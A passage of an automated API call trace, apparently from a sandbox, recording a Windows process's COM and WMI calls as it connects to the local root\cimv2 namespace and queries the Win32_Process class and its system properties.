[6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bba6c50) returned 0x0 [0155.687] WbemLocator:IUnknown:Release (This=0x1bbf1880) returned 0x0 [0155.687] WbemLocator:IUnknown:QueryInterface (in: This=0x1bba6c50, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bba6c50) returned 0x0 [0155.687] WbemLocator:IUnknown:QueryInterface (in: This=0x1bba6c50, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0155.687] WbemLocator:IUnknown:AddRef (This=0x1bba6c50) returned 0x3 [0155.687] WbemLocator:IUnknown:QueryInterface (in: This=0x1bba6c50, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0155.687] WbemLocator:IUnknown:QueryInterface (in: This=0x1bba6c50, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0155.687] WbemLocator:IUnknown:QueryInterface (in: This=0x1bba6c50, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0155.687] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0155.687] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0155.687] WbemLocator:IUnknown:QueryInterface (in: This=0x1bba6c50, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0155.687] WbemLocator:IUnknown:Release (This=0x1bba6c50) returned 0x2 [0155.687] WbemLocator:IUnknown:Release (This=0x1bba6c50) returned 0x1 [0155.688] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0155.688] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0155.688] WbemLocator:IUnknown:QueryInterface (in: This=0x1bba6c50, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bba6c50) returned 0x0 [0155.688] WbemLocator:IUnknown:AddRef (This=0x1bba6c50) returned 0x3 [0155.688] WbemLocator:IUnknown:Release (This=0x1bba6c50) returned 0x2 [0155.688] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0aad0, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0155.688] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0aad0, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0155.688] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0aad0, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0155.688] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bba6c70) returned 0x0 [0155.688] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bba6c70, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bbda2e0) returned 0x0 [0155.839] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbda2e0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1bbdcf80) returned 0x0 [0155.839] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bbdcf80, pProxy=0x1bbda2e0, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0155.839] WbemLocator:IUnknown:Release (This=0x1bbdcf80) returned 0x1 [0155.839] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbda2e0, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1bbdcfc0) returned 0x0 [0155.839] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbda2e0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1bbdcf80) returned 0x0 [0155.840] WbemLocator:IClientSecurity:SetBlanket (This=0x1bbdcf80, pProxy=0x1bbda2e0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0155.840] WbemLocator:IUnknown:Release (This=0x1bbdcf80) returned 0x2 [0155.840] WbemLocator:IUnknown:Release (This=0x1bbdcfc0) returned 0x1 [0155.840] CoTaskMemFree (pv=0x1bc19410) [0155.840] WbemLocator:IUnknown:AddRef (This=0x1bbda2e0) returned 0x2 [0155.840] WbemLocator:IUnknown:Release (This=0x1bba6c70) returned 0x0 [0155.841] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0155.841] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0155.841] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbda2e0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1bbdcf90) returned 0x0 [0155.841] WbemLocator:IRpcOptions:Query (in: This=0x1bbdcf90, pPrx=0x1bba6cb0, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0155.841] WbemLocator:IUnknown:Release (This=0x1bbdcf90) returned 0x2 [0155.841] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0155.841] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0155.841] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbda2e0, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bbda2e0) returned 0x0 [0155.841] WbemLocator:IUnknown:Release (This=0x1bbda2e0) returned 0x2 [0155.841] SysStringLen (param_1=0x0) returned 0x0 [0155.841] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0aad0, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0155.841] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0aad0, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0155.841] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0aad0, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0155.841] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ae90, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0155.841] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ae90, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0155.842] IWbemServices:GetObject (in: This=0x1bbda2e0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bcf7590, ppCallResult=0x0) returned 0x0 [0155.862] IWbemClassObject:Get (in: This=0x1bcf7590, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0155.862] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0155.862] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0155.862] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0155.862] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0155.862] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0155.862] IUnknown:Release (This=0x1a943398) returned 0x1 [0155.864] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bba6c70) returned 0x0 [0155.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bba6c70, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0155.865] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bba6c70, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1aa0aa10) returned 0x0 [0155.865] WbemDefPath:IUnknown:Release (This=0x1bba6c70) returned 0x0 [0155.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0aa10, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1aa0aa10) returned 0x0 [0155.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0aa10, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0155.865] WbemDefPath:IUnknown:AddRef (This=0x1aa0aa10) returned 0x3 [0155.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0aa10, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0155.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0aa10, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0155.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0aa10, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bba6cd0) returned 0x0 [0155.865] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bba6cd0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0155.865] WbemDefPath:IUnknown:Release (This=0x1bba6cd0) returned 0x3 [0155.865] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0155.866] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0155.866] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0aa10, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0155.866] WbemDefPath:IUnknown:Release (This=0x1aa0aa10) returned 0x2 [0155.866] WbemDefPath:IUnknown:Release (This=0x1aa0aa10) returned 0x1 [0155.866] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0155.866] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0155.866] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0aa10, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1aa0aa10) returned 0x0 [0155.866] WbemDefPath:IUnknown:AddRef (This=0x1aa0aa10) returned 0x3 [0155.866] WbemDefPath:IUnknown:Release (This=0x1aa0aa10) returned 0x2 [0155.866] WbemDefPath:IWbemPath:SetText (This=0x1aa0aa10, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0155.866] IWbemClassObject:Get (in: This=0x1bcf7590, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0155.866] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0155.866] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0155.867] IWbemClassObject:Get (in: This=0x1bcf7590, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0155.867] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0155.867] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0155.867] IWbemClassObject:Get (in: This=0x1bcf7590, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0155.867] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0155.867] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0155.867] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0155.867] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0155.868] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0155.868] IUnknown:Release (This=0x1a943398) returned 0x1 [0155.869] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bba6b50) returned 0x0 [0155.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bba6b50, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0155.870] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bba6b50, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0a950) returned 0x0 [0155.870] WbemDefPath:IUnknown:Release (This=0x1bba6b50) returned 0x0 [0155.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a950, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0a950) returned 0x0 [0155.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a950, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0155.870] WbemDefPath:IUnknown:AddRef (This=0x1aa0a950) returned 0x3 [0155.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a950, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0155.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a950, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0155.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a950, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bba6ad0) returned 0x0 [0155.870] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bba6ad0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0155.870] WbemDefPath:IUnknown:Release (This=0x1bba6ad0) returned 0x3 [0155.870] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0155.871] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0155.871] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a950, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0155.871] WbemDefPath:IUnknown:Release (This=0x1aa0a950) returned 0x2 [0155.871] WbemDefPath:IUnknown:Release (This=0x1aa0a950) returned 0x1 [0155.871] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0155.871] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0155.871] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a950, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0a950) returned 0x0 [0155.871] WbemDefPath:IUnknown:AddRef (This=0x1aa0a950) returned 0x3 [0155.871] WbemDefPath:IUnknown:Release (This=0x1aa0a950) returned 0x2 [0155.871] WbemDefPath:IWbemPath:SetText (This=0x1aa0a950, uMode=0x4, pszPath="") returned 0x0 [0155.871] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0155.871] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0155.871] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0155.871] IUnknown:Release (This=0x1a943398) returned 0x1 [0155.873] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: 